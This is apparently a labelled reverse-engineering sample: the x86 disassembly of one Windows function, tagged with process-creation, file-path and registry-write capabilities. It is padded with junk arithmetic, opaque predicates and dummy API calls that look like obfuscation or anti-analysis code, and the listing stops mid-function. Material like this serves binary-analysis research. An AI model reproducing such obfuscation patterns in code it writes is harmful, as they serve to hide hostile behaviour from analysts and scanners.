Function at 0x10050149
Capabilities:
Create process on windows
Get common file path
Set registry value

Disassembly:
mov eax, 0x10075b77
call fcn.10074528
sub esp, 0x1bc
push ebx
xor ebx, ebx
mov dword [ebp - 0x34], 8
push esi
mov byte [ebp - 0x1d], bl
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x48], dl
mov dword [ebp - 0x70], ecx
cmp byte [ebp - 0x1d], bl
je 0x10050187
push ebx
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x10050198
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, 0x1007b8cc
mov dword [ebp - 0x4c], 4
xor edi, edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x110]
mov eax, dword [0x1007b8cc]
inc edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x43250e6d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0x1434a938
push 3
mov dword [ebp - 0x50], eax
call fcn.10024355
mov dword [ebp - 0x24], ebx
jmp 0x100501ea
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x110]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x100501db
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, edi
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
imul ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
je 0x1005021a
cmp dword [ebp - 0x18], ebx
je 0x1005021a
cmp dword [ebp - 0x1c], ebx
jne 0x1005021c
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
sub eax, 0xdfe9
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x18]
cmp ecx, eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, esi
mov esi, dword [ebp - 0x30]
setl al
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x38], eax
setl cl
mov dword [esi + 4], ecx
mov dword [ebp - 0x18], ebx
jmp 0x100502c3
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x2c], ebx
je 0x1005028b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
add eax, dword [ebp - 0x24]
cmp eax, 0x83cd
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
setne dl
sub edx, dword [esi + 4]
imul eax, edx
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x1c], ebx
jne 0x100502c9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x33
jne 0x10050273
lea ecx, [ebp - 0x110]
call fcn.100243b7
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
cmp byte [ebp - 0x48], bl
je 0x1005060b
cmp dword [ebp - 0x50], edi
jne 0x1005060b
push dword [ebp + 8]
mov dword [eax + 8], 4
lea ecx, [ebp - 0x90]
lea eax, [ebp - 0x140]
mov dword [ebp - 0x90], ebx
push eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x8c], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x88], ebx
push ebx
movdqu xmmword [ebp - 0x150], xmm0
call fcn.100263b1
push 3
mov dword [ebp - 4], ebx
pop esi
mov dword [ebp - 0x18], 0xe5ccc90a
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x100505f1
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], esi
jg 0x100505e6
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x34], 0x24e8160a
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x100505cf
push esi
lea ecx, [ebp - 0xdc]
call fcn.10024355
mov byte [ebp - 4], 1
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x3c], 0xbab91ee3
mov dword [ebp - 0x14], ebx
jmp 0x100503bb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xdc]
mov dword [eax + ecx*4], 0x3cfcb8f1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100503a8
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x90]
mov eax, dword [esi + eax*4]
cmp eax, dword [esi + edx*4]
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp dword [esi + 0xc], ecx
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
setg cl
xor edx, edx
imul eax, ecx, 0x954e
mov ecx, 0xedac7a8
sub ecx, eax
mov eax, dword [ebp - 0x90]
cmp ecx, dword [eax + edi*4]
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0xdc]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x90]
setne cl
xor edx, edx
cmp ecx, dword [eax]
setge dl
xor ecx, ecx
imul eax, edx, 0xed4b
mov dword [esi + 8], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp eax, 0x8d6d
mov eax, dword [ebp - 0x24]
setge cl
add eax, 0xe0689bb
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setge dl
cmp edx, dword [esi + 8]
jle 0x10050493
mov eax, dword [ebp - 0xdc]
cmp dword [eax + 4], ebx
jne 0x10050493
mov edx, ebx
jmp 0x10050496
xor edx, edx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xdc]
setle cl
xor edx, edx
cmp ecx, dword [eax + 4]
setl dl
sub edx, 0xcf69bad9
neg edx
sbb edx, edx
inc edx
test edx, edx
jle 0x100504cb
mov eax, dword [ebp - 0x90]
cmp dword [eax], ebx
jne 0x100504cb
mov edx, ebx
jmp 0x100504ce
xor edx, edx
inc edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, 4
jge 0x100504e0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], 0x11e0
cmp dword [ebp - 0x30], 0x12b7
jle 0x10050553
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x3c], 0x5e39
mov ecx, ebx
mov dword [ebp - 0x14], 0x4af
mov dword [ebp - 0x2c], ecx
mov eax, ecx
mov ecx, 0x1061d018
xor eax, edi
cdq
push edx
push eax
call fcn.10024240
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
add ecx, eax
dec dword [ebp - 0x14]
mov dword [ebp - 0x2c], ecx
jne 0x1005050a
add eax, esi
dec dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
jne 0x100504fe
inc esi
cmp esi, 0x53f
jl 0x100504f4
inc edi
cmp edi, 0x5d1
jl 0x100504f2
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1005056f
push 0x2482
push 0x219b
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x30], 0xfb6
jge 0x100505af
mov edx, 0x10009098
mov ecx, 0x1061d018
call fcn.10025e4a
jmp 0x100505af
push 3
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xdc]
pop esi
mov byte [ebp - 4], bl
call fcn.100243b7
dec dword [ebp - 0x1c]
jmp 0x1005037c
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x90]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x24]
jmp 0x10050362
dec dword [ebp - 0x18]
xor edi, edi
inc edi
jmp 0x10050345
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
call fcn.100243b7
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x28]
mov dword [edx + 0xc], eax
jmp 0x1005060e
push 3
pop esi
mov dword [ebp - 0x14], 0xfd3df75d
lea ecx, [ebp - 0x11c]
push esi
call fcn.10024355
mov dword [ebp - 0x14], ebx
jmp 0x10050635
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10050626
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0xc
jge 0x1005066a
mov eax, dword [ebp - 0x11c]
dec dword [eax + 4]
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xa11c1574
mov dword [ebp - 0x34], 0x35f394a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jl 0x10050649
lea ecx, [ebp - 0x11c]
call fcn.100243b7
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x70], eax
jge 0x1005160e
push dword [ebp + 8]
movdqa xmm0, xmmword [0x10009400]
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x9c], ebx
push eax
push ebx
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x98], ebx
movdqu xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x94], ebx
call fcn.100263b1
mov dword [ebp - 0x24], 0xe72e
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x30], 0x76dbd8d4
mov dword [ebp - 0x14], ebx
jmp 0x100506e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x44], 0x689351f2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100506da
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], ebx
jl 0x100507c3
mov dword [ebp - 0x14], 1
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
cmp dword [eax + ecx*4], ebx
jne 0x10050764
mov esi, dword [ebp - 0x44]
xor edx, edx
mov edi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov ecx, dword [ebp - 0x9c]
setne dl
xor eax, eax
imul edx, dword [ecx + esi*4]
cmp edx, dword [ecx + edi*4]
setne al
imul eax, dword [ecx + 0xc]
test eax, eax
je 0x1005073f
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x2c], ebx
je 0x1005074a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
cmp dword [eax + ecx*4], ebx
jne 0x10050764
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x2c]
jne 0x10050783
mov eax, dword [ebp - 0x9c]
cmp dword [eax], ebx
jne 0x10050783
mov esi, ebx
jmp 0x10050786
xor esi, esi
inc esi
mov edx, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp esi, eax
mov eax, dword [ebp - 0x9c]
setle cl
push 0
cmp dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x2c]
pop edx
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x44]
jns 0x100506fa
push 3
pop esi
lea ecx, [ebp - 0x9c]
call fcn.100243b7
mov edi, dword [ebp - 0x28]
mov eax, ebx
add edi, dword [ebp - 0x4c]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], edi
cmp eax, dword [ebp - 0x70]
jge 0x10051171
push 2
lea ecx, [ebp - 0xa8]
call fcn.10024355
mov dword [ebp - 4], 4
lea eax, [ebp - 0x160]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x10009410]
lea ecx, [ebp - 0xec]
push eax
lea eax, [ebp - 0x170]
mov dword [ebp - 0x2c], 0x7d7c869b
push eax
mov dword [ebp - 0x30], 0xdc509ca4
push ebx
movdqu xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
call fcn.100263b1
mov dword [ebp - 0x18], ebx
jmp 0x1005085c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc4], 0xec0ae971
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1005084b
mov dword [ebp - 0x18], ebx
jmp 0x10050879
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xa8]
mov dword [eax + ecx*4], 0x5a136951
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10050866
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10050893
push 0x600
call dword [sym.imp.USER32.dll_IsWindow]
mov eax, dword [ebp - 0xa8]
xor ecx, ecx
inc ecx
mov dword [eax], ebx
mov dword [ebp - 0x30], 0xa6de
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x14], ebx
jmp 0x100508c6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], 0x2fd89d68
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100508b8
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jne 0x100508de
mov ecx, ebx
mov dword [ebp - 0x3c], ecx
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc4]
add ecx, 0xffff
cmp eax, ecx
mov eax, dword [ebp - 0xa8]
setg dl
xor ecx, ecx
cmp edx, 0xf8b2
mov eax, dword [eax]
setle cl
xor edi, edi
inc edi
mov eax, dword [ebp + eax*4 - 0xc4]
imul eax, ecx
cmp eax, edi
mov eax, dword [ebp - 0xa8]
sbb edx, edx
xor ecx, ecx
neg edx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc4]
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov edx, dword [ebp + eax*4 - 0xc4]
xor eax, eax
cmp ecx, 0xfffffff7
setne al
sub eax, 0x716e289a
add edx, eax
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
inc ecx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x74], ecx
inc dword [eax]
cmp dword [eax], 2
jle 0x1005089e
lea ecx, [ebp - 0xec]
call fcn.100243b7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.100243b7
mov edi, dword [ebp - 0x28]
push 4
pop ecx
mov eax, dword [edi]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x14], ebx
jmp 0x100509d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100509c7
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], esi
jg 0x100509fb
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100509f0
call dword [sym.imp.GDI32.dll_GdiFlush]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x100509e1
push 4
pop ecx
add edi, dword [ebp - 0x4c]
mov dword [ebp - 0x24], 0xb999fb0
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x28], ebx
jmp 0x10050a2c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1a4], 0x32b7b88c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10050a1b
mov dword [ebp - 0x28], ebx
jmp 0x10050a47
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1c4], 0x35a12a2e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10050a36
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
push 1
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0xc39d
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
test eax, eax
setle cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0xf8]
setle al
mov dword [ebp - 0x34], eax
mov eax, dword [edi]
mov dword [ebp - 0x198], 0xab82
mov dword [ebp - 0x18], 0xa48bbca6
mov dword [ebp - 0x3c], eax
mov eax, 0xbb94d0f
mov dword [ebp - 0x1c], 0xf6085e07
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
call fcn.10024355
mov dword [ebp - 4], 5
xor edx, edx
mov dword [ebp - 0x40], ebx
inc edx
mov dword [ebp - 0x14], ebx
jmp 0x10050afd
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], 0xcfb11589
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10050aea
mov dword [ebp - 0x18], ebx
jmp 0x10050b71
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x34], 0xfffffffe
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x30], ebx
jne 0x10050b24
cmp dword [ebp - 0x18], ebx
jne 0x10050b24
mov edx, ebx
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x18]
jg 0x10050b5e
cmp dword [ebp - 0x18], ebx
je 0x10050b5e
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10050b63
xor edx, edx
mov ecx, ebx
inc edx
xor eax, eax
cmp ecx, 8
setle al
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe3
jl 0x10050b07
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], esi
jg 0x10050e8b
jmp 0x10050b88
xor edx, edx
inc edx
mov dword [ebp - 0x24], 0x61e7ff51
mov dword [ebp - 0x28], 0xc0ed6d23
mov dword [ebp - 0x14], ebx
jmp 0x10050bac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x17c], 0x74a76864
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10050b9b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
je 0x10050d16
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10050bf8
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10050bf5
push ebx
push 0x21ce
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10050bde
mov eax, dword [ebp - 0x64]
xor edx, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub edx, dword [ebp + eax*4 - 0x68]
neg edx
sbb edx, edx
add edx, 0xffff706d
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x4501
setge cl
sub ecx, 0x56a759f3
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
sub ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp + eax*4 - 0x68]
jle 0x10050c6c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov dword [ebp - 0x18], 1
mov edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
cmp edx, eax
mov eax, dword [ebp - 0xf8]
setg cl
xor edx, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x68]
imul eax, dword [ebp - 0x30], 0xc7c4
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0x68]
jg 0x10050ce3
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x30], ebx
cmp dword [eax], ebx
je 0x10050cea
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x30], eax
setge dl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x4bfce934
setge al
mov dword [ebp - 0x28], eax
jmp 0x10050e7f
mov dword [ebp - 0x18], 0xefab77c1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x24], ebx
jmp 0x10050e75
mov dword [ebp - 0x14], ebx
jmp 0x10050d3f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10050d31
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x10050ddc
push 2
lea ecx, [ebp - 0x128]
call fcn.10024355
mov dword [ebp - 0x14], ebx
jmp 0x10050d75
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10050d62
mov ecx, dword [ebp - 0x128]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x28]
setge dl
sub edx, eax
jne 0x10050d9c
cmp dword [ebp - 0x1c], ebx
jne 0x10050d9c
mov ecx, ebx
jmp 0x10050d9f
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp eax, 0x5c01
setne dl
imul edx, ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], edx
lea ecx, [ebp - 0x128]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], 1
call fcn.100243b7
dec dword [ebp - 0x28]
jns 0x10050d50
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x68], ebx
je 0x10050e61
cmp dword [ebp - 0x28], ebx
jne 0x10050ded
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x58]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
sub edx, 4
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x34], edx
xor edx, edx
cmp dword [ebp - 0x34], eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
cmp edx, eax
setg cl
cmp ecx, 8
jne 0x10050e35
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x174], ebx
je 0x10050e3c
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x30], eax
setle cl
xor eax, eax
cmp edx, ecx
setle al
cmp eax, dword [ebp - 0x58]
jne 0x10050e61
xor edx, edx
inc edx
mov eax, edx
jmp 0x10050e66
xor edx, edx
mov eax, ebx
inc edx
cmp eax, 0xfffe
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x17
jg 0x10050d2c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10050b85
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf8]
call fcn.100243b7
add edi, dword [ebp - 0x4c]
lea ecx, [ebp - 0x134]
push 2
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x40], edi
call fcn.10024355
mov dword [ebp - 4], 6
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], 0x4a8d
cmp dword [ebp - 0x30], 0x4b82
jle 0x10050f26
push ebx
push 0x11b1
push 0x1675
push 0x1e7f
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
mov edx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x1061d018
or eax, edx
cdq
push edx
push eax
call fcn.10024240
mov edx, dword [ebp - 0x2c]
inc ebx
cmp ebx, 0x6eb8
jl 0x10050eea
inc edi
push 0
pop ebx
cmp edi, 0x6a8d
jl 0x10050ee7
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x7bb9
jl 0x10050ee5
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x14], ebx
jmp 0x10050f3e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10050f2b
mov byte [ebp - 4], 7
cmp dword [ebp - 0x30], 0x48aa
jge 0x10050f84
mov edx, 0x100090c8
mov ecx, 0x1061d018
call fcn.10025e4a
jmp 0x10050f84
xor eax, eax
mov dword [ebp - 0x14], ebx
inc eax
jmp 0x10050f99
mov dword [ebp - 0x30], 0xfffffffa
inc dword [ebp - 0x30]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x10050f8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x134]
call fcn.100243b7
cmp dword [ebp - 0x3c], 0
jne 0x10050fb9
mov eax, dword [ebp - 0x4c]
lea edi, [edi + eax*2]
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0xaebb1bb3
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x14], ebx
jmp 0x10050fe4
mov eax, dword [ebp - 0x14]
